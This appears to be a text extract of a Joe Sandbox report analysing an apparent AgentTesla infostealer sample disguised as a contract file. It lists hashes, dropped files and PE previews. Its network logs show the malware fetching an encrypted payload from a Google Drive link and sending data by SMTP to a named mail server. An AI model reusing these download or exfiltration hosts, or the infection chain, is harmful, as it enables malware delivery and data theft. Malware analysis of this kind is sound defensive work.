https://view.joesandbox.com/analysis/394687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394687/html/none?idtype=webid
https://view.joesandbox.com/analysis/394701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394701/html/none?idtype=webid
https://view.joesandbox.com/analysis/394604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394604/html/none?idtype=webid
https://view.joesandbox.com/analysis/394533/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394533/html/none?idtype=webid
https://view.joesandbox.com/analysis/394306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394306/html/none?idtype=webid
https://view.joesandbox.com/analysis/394300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394300/html/none?idtype=webid
https://view.joesandbox.com/analysis/393586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393586/html/none?idtype=webid
https://view.joesandbox.com/analysis/393541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393541/html/none?idtype=webid
https://view.joesandbox.com/analysis/393519/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393519/html/none?idtype=webid
https://view.joesandbox.com/analysis/393503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393503/html/none?idtype=webid


SOA.exe Get hash malicious Browse

justificante.exe Get hash malicious Browse

Facilitative8.exe Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DnDcR.exe.log
Process: C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 42

Entropy (8bit): 4.0050635535766075

Encrypted: false

SSDEEP: 3:QHXMKa/xwwUy:Q3La/xwQ

MD5: 84CFDB4B995B1DBF543B26B86C863ADC

SHA1: D2F47764908BF30036CF8248B9FF5541E2711FA2

SHA-256: D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B

SHA-512: 485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177C
E

Malicious: false

Reputation: moderate, very likely benign file

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 65440

Entropy (8bit): 6.049806962480652

Encrypted: false

SSDEEP: 768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY

MD5: 0D5DF43AF2916F47D00C1573797C1A13

SHA1: 230AB5559E806574D26B4C20847C368ED55483B0

SHA-256: C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC

SHA-512: F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2

Malicious: true

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Joe Sandbox 
View:

Filename: DOC 13102021.exe, Detection: malicious, Browse
Filename: Statement of Account.exe, Detection: malicious, Browse
Filename: correction HAWB.exe, Detection: malicious, Browse
Filename: DOC 10132021.exe, Detection: malicious, Browse
Filename: WIRE ADVICE.exe, Detection: malicious, Browse
Filename: Foreign_Bank Account Details.exe, Detection: malicious, Browse
Filename: SOA.exe, Detection: malicious, Browse
Filename: SecuriteInfo.com.Variant.Razy.961905.21681.exe, Detection: malicious, Browse
Filename: Swift USD 9300.exe, Detection: malicious, Browse
Filename: SOA.exe, Detection: malicious, Browse
Filename: justificante.exe, Detection: malicious, Browse
Filename: Facilitative8.exe, Detection: malicious, Browse

Reputation: moderate, very likely benign file

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F..
..`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc........
......................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P...*..0.."........(......-.r...p.rI..p(....s....z.*...0..........(....~P.....o.....
.*..(....*n(.....(..........%...(....*~(.....(..........%...%...(....*.(.....(..........%...%...%...(....*V.(......}Q.....}R...*..{Q...*..{R...*...0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o 
.....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

C:\Windows\System32\drivers\etc\hosts

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 835

Entropy (8bit): 4.694294591169137

Encrypted: false

SSDEEP: 24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTt8:vDZhyoZWM9rU5fFcP

Created / dropped Files
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https://view.joesandbox.com/analysis/391296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391296/html/none?idtype=webid
https://view.joesandbox.com/analysis/391141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391141/html/none?idtype=webid
https://view.joesandbox.com/analysis/388328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388328/html/none?idtype=webid
https://www.metadefender.com/#!/results/file/bzIxMTAxMXN3cGVxZnVJNGVfbVFnVkNnaFA/regular/analysis
https://view.joesandbox.com/analysis/394701/html/none
https://view.joesandbox.com/analysis/394604/html/none
https://view.joesandbox.com/analysis/394533/html/none
https://view.joesandbox.com/analysis/394306/html/none
https://view.joesandbox.com/analysis/394300/html/none
https://view.joesandbox.com/analysis/393586/html/none
https://view.joesandbox.com/analysis/393541/html/none
https://view.joesandbox.com/analysis/393519/html/none
https://view.joesandbox.com/analysis/393503/html/none
https://view.joesandbox.com/analysis/391296/html/none
https://view.joesandbox.com/analysis/391141/html/none
https://view.joesandbox.com/analysis/388328/html/none


Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 6.277540298871474

TrID: Win32 Executable (generic) a (10002005/4) 
99.15%
Win32 Executable Microsoft Visual Basic 6 
(82127/2) 0.81%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: Contract and PI of 1500W.exe

File size: 135168

MD5: dbceab5b0f79168ffea64f16bf7f1263

SHA1: c5c25d75233ea8523111b1f964fbd482be973cd7

SHA256: 7d6174dce4980e71b083ae63d3b165b50b20855edb40ffa
10a06a8e46e765cab

SHA512: d13aa6e928f70d8051d0db5bd8e7a263567846b38f38171
22db988f0d0230852579bd9c038f750a793dd5cc5cca14b
f839c73a7cdb20bdc8a6b09caca76097f3

SSDEEP: 1536:gFA4c6Hdpd+KpVl+R9ATkcbu/nW9qUUWxeoQ4
vk8VcYGczNYGJM94oiGUASFUEv9:mc6HHdvpsSRbu
RqA4/Zp9v3H

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........#...B...B
...B..L^...B...`...B...d...B..Rich.B..........PE..L...d..O...........
..........`......h.............@.............B..

File Icon

MD5: 6EB47C1CF858E25486E42440074917F2

SHA1: 6A63F93A95E1AE831C393A97158C526A4FA0FAAE

SHA-256: 9B13A3EA948A1071A81787AAC1930B89E30DF22CE13F8FF751F31B5D83E79FFB

SHA-512: 08437AB32E7E905EB11335E670CDD5D999803390710ED39CBC31A2D3F05868D5D0E5D051CCD7B06A85BB466932F99A220463D27FAC29116D241E8ADAC495FA2F

Malicious: true

Preview:
# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to 
host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP 
address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following 
the machine name denoted by a '#' symbol...#..# For example:..#..#      102.54.94.97     rhino.acme.com          # source server..#       38.25.63.10     x.acme.com              
# x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1       localhost..#.::1             localhost....127.0.0.1

C:\Windows\System32\drivers\etc\hosts

\Device\ConDrv
Process: C:\Users\user\AppData\Roaming\DnDcR\DnDcR.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1049

Entropy (8bit): 4.286073681226177

Encrypted: false

SSDEEP: 24:z3d3+DO/0XZd3Wo3opQ5ZKBQFYVgt7ovrNOYlK:zNODBXZxo4ABV+SrUYE

MD5: 402278578416001C915480C7040F2964

SHA1: B4833865ECE3609EC213509D4AB7D7A195C00753

SHA-256: 86E0747C9B54AA9AACB788589E70E19279DF13F1393795E689342AF3302912E1

SHA-512: 473600FBC051B22E9E7A6FBE1694ED736CF90DE5A8DF92AF1FA9A85DDD97379CFF0E8A5DF89937AE083BEBEFC81C407A907D0FB5ED9019BEDF6FB470383832
1B

Malicious: false

Preview:
Microsoft .NET Framework Assembly Registration Utility version 4.8.4084.0..for Microsoft .NET Framework version 4.8.4084.0..Copyright (C) Microsoft Corporation.  All 
rights reserved.....Syntax: RegAsm AssemblyName [Options]..Options:..    /unregister          Unregister types..    /tlb[:FileName]      Export the assembly to the specified 
type library..                         and register it..    /regfile[:FileName]  Generate a reg file with the specified name..                         instead of registering the types. This 
option..                         cannot be used with the /u or /tlb options..    /codebase            Set the code base in the registry..    /registered          Only refer to already regist
ered type libraries..    /asmpath:Directory   Look for assembly references here..    /nologo              Prevents RegAsm from displaying logo..    /silent              Silent mode. 
Prevents displaying of success messages..    /verbose             Displays extra information..    

Copyright Joe Security LLC 2021 Page 13 of 40



Icon Hash: 20047c7c70f0e004

Snort IDS Alerts

Network Port Distribution

General
Entrypoint: 0x401868

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics:

Time Stamp: 0x4FFBD264 [Tue Jul 10 06:57:40 2012 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: c727a98e677fb7bd25bb06d2a2d956f1

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x19de0 0x1a000 False 0.567514272837 data 6.73754725529 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x1b000 0xaf0 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x1c000 0x456a 0x5000 False 0.396240234375 data 4.60962667095 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

10/14/21-
03:29:40.088820

TCP 2030171 ET TROJAN AgentTesla Exfil Via SMTP 49818 587 192.168.11.20 65.60.11.90

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 14, 2021 03:28:00.804198980 CEST 192.168.11.20 1.1.1.1 0xc5f4 Standard query 
(0)

drive.google.com A (IP address) IN (0x0001)

Oct 14, 2021 03:28:01.672461987 CEST 192.168.11.20 1.1.1.1 0xb23b Standard query 
(0)

doc-10-4k-
docs.googl
eusercontent.com

A (IP address) IN (0x0001)

Oct 14, 2021 03:29:38.196192026 CEST 192.168.11.20 1.1.1.1 0x9b49 Standard query 
(0)

mail.frien
dsequipment.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 14, 2021 
03:28:00.824850082 
CEST

1.1.1.1 192.168.11.20 0xc5f4 No error (0) drive.goog
le.com

172.217.168.46 A (IP address) IN (0x0001)

Oct 14, 2021 
03:28:01.700587988 
CEST

1.1.1.1 192.168.11.20 0xb23b No error (0) doc-10-4k-
docs.googl
euserconte
nt.com

googlehosted.l.googleuse
rcontent.com

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 14, 2021 
03:28:01.700587988 
CEST

1.1.1.1 192.168.11.20 0xb23b No error (0) googlehost
ed.l.googl
euserconte
nt.com

142.250.184.193 A (IP address) IN (0x0001)

Oct 14, 2021 
03:29:38.688410997 
CEST

1.1.1.1 192.168.11.20 0x9b49 No error (0) mail.frien
dsequipmen
t.com

friendsequipment.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 14, 2021 
03:29:38.688410997 
CEST

1.1.1.1 192.168.11.20 0x9b49 No error (0) friendsequ
ipment.com

65.60.11.90 A (IP address) IN (0x0001)

            
drive.google.com

            
doc-10-4k-docs.googleusercontent.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.11.20 49810 172.217.168.46 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp
kBytes
transferred Direction Data

2021-10-14 01:28:01 UTC 0 OUT GET /uc?export=download&id=1iHaEbeRZQsul94yNukP5elwMyJtohxrw HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com
Cache-Control: no-cache

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2021-10-14 01:28:01 UTC 0 IN HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 14 Oct 2021 01:28:01 GMT
Location: https://doc-10-4k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7ovq1830
ci2vfc1r9jg3dm4bs2m26dfl/1634174850000/08714151441044389622/*/1iHaEbeRZQsul94yNukP5elwMyJtohxrw?e=do
wnload
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Security-Policy: script-src 'nonce-QBbRFyO5yH3yQlk1MiM6kg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: NID=511=GfnfQpQJawI39L5feqtIuSkq5DY1z993zkhNfBK2VfD-gLzMi5Cm-mhIUhjo5HpD9eeCga
BwINXS5VcQK_9Nl9YcMS6KFN8otBz_BxhgfvsjoZJrCtDekq6eKRYNUmGzQgBV3Sjc8DMy7tl1revYnNpeEnYbDjWAVnq-
lIYnVdg; expires=Fri, 15-Apr-2022 01:28:01 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-10-14 01:28:01 UTC 1 IN Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 
6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 
72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 31 30 2d 34 6b 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 
66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 37 6f 76 71 
Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" 
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-10-4k-docs.goog
leusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7ovq

2021-10-14 01:28:01 UTC 1 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.11.20 49811 142.250.184.193 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp
kBytes
transferred Direction Data

2021-10-14 01:28:01 UTC 1 OUT GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7ovq1830ci2vfc1r9jg3dm4bs2m26dfl/1634174850000/0
8714151441044389622/*/1iHaEbeRZQsul94yNukP5elwMyJtohxrw?e=download HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Cache-Control: no-cache
Host: doc-10-4k-docs.googleusercontent.com
Connection: Keep-Alive
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2021-10-14 01:28:01 UTC 2 IN HTTP/1.1 200 OK
X-GUploader-UploadID: ADPycduSt7Cro-P5AMA_RhEGEGb6eu1c-ABNpbHWeFzrFzgie-YmIIAOBBTHrhs_ob5j
7n_5gOQglVVz9FeweIaJRgg
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, 
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, 
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, 
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, 
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-
ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Eng
ine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Exp
eriments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespa
ce, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, 
X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS
Content-Type: application/octet-stream
Content-Disposition: attachment;filename="MR FRESH_DORirj245.bin";filename*=UTF-8''MR%20FRESH_DORirj245.bin
Content-Length: 221760
Date: Thu, 14 Oct 2021 01:28:01 GMT
Expires: Thu, 14 Oct 2021 01:28:01 GMT
Cache-Control: private, max-age=0
X-Goog-Hash: crc32c=cWL9BA==
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-10-14 01:28:01 UTC 6 IN Data Raw: ad f4 63 41 7f b2 e1 d6 7a 29 d0 a9 28 4d ab d5 29 92 24 79 eb 25 c6 d3 02 ff 73 57 76 e4 1a ee b8 93 0e a1 
b3 03 32 dc 3f b5 44 e7 52 a3 4a 0a 1e 42 51 26 d6 a7 3a dd 54 1f 71 58 91 57 29 af c4 14 ea 86 ce b5 58 ee d8 ed 07 bd 
a2 21 e1 49 0c 0d 62 f9 45 11 44 77 73 a1 c2 b4 9a b8 6a 77 f5 b2 66 4c 9e 72 70 48 f3 cd 7e 44 55 c8 c6 cb a3 38 94 0b 
34 13 e4 e9 39 47 a7 5b 02 91 db 7f 13 48 e9 58 41 a8 b3 3d f6 a3 09 c5 fe a5 aa ca d1 23 55 00 51 71 57 78 5a 5c dc e2 
08 42 8c e6 96 06 f8 30 45 91 ed 2f a7 59 f3 ae fb 3a 6e 03 35 11 ab 06 cc 04 6c 64 38 1b d4 05 d9 2e a4 07 7f 3b 6a 83 
b0 bb d8 b5 ff 6f 4a 33 c9 ba 16 bf 35 7e 6d ac 31 7f 29 78 8b 8a f4 2b 32 71 2b 77 01 a5 de 97 a4 31 dd 5f 63 62 47 bd b3 
6a 5f 11 7c 83 f6 06 3f 49 4e 48 66 95 69 2d 55 6c db 
Data Ascii: cAz)(M)$y%sWv2?DRJBQ&:TqXW)X!IbEDwsjwfLrpH~DU849G[HXA=#UQqWxZ\B0E/Y:n5ld8.;joJ35~m1)x+2q
+w1_cbGj_|?INHfi-Ul

2021-10-14 01:28:01 UTC 9 IN Data Raw: ac 2e 5a 42 b6 f9 96 b9 2b a2 f4 f5 c6 a2 98 43 99 f5 18 ea ce 4a ce 9d 43 34 37 9a e3 5e 76 67 a8 bd bd af 11 
6c 59 2a f3 25 50 74 7b 4a 05 3b 19 e3 30 1a b4 d6 ac ec 08 b9 b8 45 33 e4 9e 8b ff 00 b4 34 48 59 d4 c7 10 35 4d 94 ed 
ce f5 70 03 5f f2 81 11 00 83 2d 98 4f cc 1f 3a 1e 4b a1 d1 46 d4 bb 63 85 06 f1 c7 d0 e3 6e 51 26 3a d1 25 43 b7 5b 69 
51 09 34 e3 20 26 a1 1f 8a 35 7c e7 34 0c 0d 7a 76 28 a5 ab d5 28 e7 2b 59 14 93 dd c1 c3 72 c3 12 cc 40 b5 40 ab 70 1f 
d1 09 f9 49 5a 52 11 57 bd 35 56 56 9c 85 52 9a c4 59 2d df fc 22 1c ab fe c0 c4 14 6f 11 29 67 34 c5 62 3e 52 d6 65 1e 
94 bd 0b 4e 59 58 44 06 3d b5 a1 7d 70 23 aa ea 8b 4a c6 d1 6b e3 99 28 a7 61 a4 f2 22 ae 00 e8 5a a2 b2 6f d5 6b e5 02 
aa 64 41 f3 8b e1 6b 17 29 b0 dd f9 ea 29 17 0d 9d e2 
Data Ascii: .ZB+CJC47^vglY*%Pt{J;0E34HY5Mp_-O:KFcnQ&:%C[iQ4 &5|4zv((+Yr@@pIZRW5VVRY-"o)g4b>ReNYXD=}p
#Jk(a"ZokdAk))

2021-10-14 01:28:01 UTC 13 IN Data Raw: 23 0b 13 99 ba 61 07 8e 41 e9 39 e8 65 95 cb 53 f3 5a a1 5d 8f 24 e9 83 01 89 e8 4b b3 9f 10 3b 0b 18 1a fe 
b1 27 e9 28 93 8e e6 59 fb b2 de f8 d6 39 62 99 7d 16 b9 73 55 e8 65 6a 4f e0 21 05 c6 8d db 47 d8 7f d1 d9 12 9d 06 86 
24 70 18 ee 1f 80 38 e5 19 6e 15 15 75 bc c3 61 6a 6a 78 56 17 1b 6c e6 17 f2 e8 e0 01 e2 93 51 e5 91 38 9a 0b c2 0e cd 
17 0e 39 99 9a 58 9c 22 4d 4b b6 fb 78 6d b6 87 91 c1 2d 4c 0c 1a 47 1b 6d e9 0e c1 38 e8 3c 44 74 71 27 27 81 ac 5a 78
4c 2c 79 4b 5f 40 3f c4 d7 b4 a1 3b 19 44 a2 a5 4c 51 83 f5 5d a5 11 23 ea 79 a4 5d de e5 61 90 0d 62 f3 6f 02 74 75 33 
a9 c3 b4 9a b0 6a 77 e4 a4 6d 67 85 72 77 5f 0d cc 52 46 4d c3 c6 cc b5 c6 95 27 36 04 ef e9 3e 5f 59 5a ae 93 f0 7d 36 
b4 7b 21 43 1c bc f2 ff bb 08 89 39 ac 86 a0 b8 56 5d d0 
Data Ascii: #aA9eSZ]$K;'(Y9b}sUejO!G$p8nuajjxVlQ89X"MKxm-LGm8<Dtq''ZxL,yK_@?;DLQ]#y]abotu3jwmgrw_RFM
'6>_YZ}6{!C9V]

2021-10-14 01:28:01 UTC 17 IN Data Raw: 79 74 31 71 f1 a0 cc 2f 4c db 05 ee c0 13 d9 5a 7b e2 3e 11 61 cc 09 38 a1 ad f0 fe 8e 14 a3 3e c1 a2 d0 39 f8 
51 41 83 45 64 cd e5 35 a3 80 79 8e ac fc f7 2d 58 fc 5f d7 78 62 27 c0 80 a7 a8 96 26 00 a6 ae a6 9c e1 69 e6 f0 c1 b4 
7c 3e 36 94 db 4d 6b bb 7e 0c 0b 73 e5 6d 8e 8f 8a 89 bf 9e cf 48 5e 40 e8 0d fd 73 fe 1a ac 2e 58 9c ad f9 92 4b 23 cd a5
9a 0c a8 44 61 69 f8 3d c4 f3 94 dc bf 67 15 1f a8 cb 70 7e b9 ae a6 9d bf de 6c 53 f2 9c e9 7a 74 71 94 0b 36 31 d4 32 1a 
c7 c5 98 4b 30 b3 b8 4f ed e4 8d 83 8e dc f6 af 4e 3c 1e c7 10 3f 93 9b c8 e6 6f dd 03 47 fb a2 39 39 98 1d 97 91 db 0f 32 
36 e3 a1 d1 51 b9 59 2a 85 0c 25 bc c6 cb 59 50 2c 36 ea 4b 6b 8f 51 06 10 d7 34 f8 2e 19 72 53 8a 33 19 2b 14 2c 49 a4 
79 62 c0 9c d5 22 eb 2f 13 72 ab dd cb cf b3 
Data Ascii: yt1q/LZ{>a8>9QAEd5y-X_xb'&i|>6Mk~smH^@s.XK#Dai=gp~lSztq612K0ON<?oG9926QY*%YP,6KkQ4.rS3+,
Iyb"/r

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:01 UTC 18 IN Data Raw: b5 3b 83 30 e2 39 69 25 39 46 77 b4 6c ab 9b b9 d1 e6 86 f3 75 39 12 7f 0c af 61 03 a7 6b f0 2a e6 0a 55 cf 4c 
f2 82 b1 76 ab fd f5 fd 1f 81 96 57 11 80 18 00 28 18 0b f0 c1 e2 17 29 b5 a5 fe 41 94 d5 c6 f8 d2 52 11 86 68 0f 9b ad 4b 
c9 52 54 b1 e1 07 1a f3 b9 cb 35 da 75 09 7b 1f d6 3d 57 24 61 16 cd 88 7f eb 11 ce 76 2f 3b 89 aa ca c3 70 62 13 01 06 
1f 79 29 f8 f4 ab 38 08 fd 89 26 00 b1 38 90 14 5e 7c d8 04 0a 47 86 9e 47 8f cb 7f 5a 84 3e 52 1b b2 af bd bf 31 4a 24 36 
39 03 6b f8 0d 86 6f e8 3c 44 57 4a 3f 34 8f b8 5d 54 68 d2 78 61 7a 8a 16 c1 d7 a5 80 0c 36 ba a3 83 5d 47 92 de b2 70 
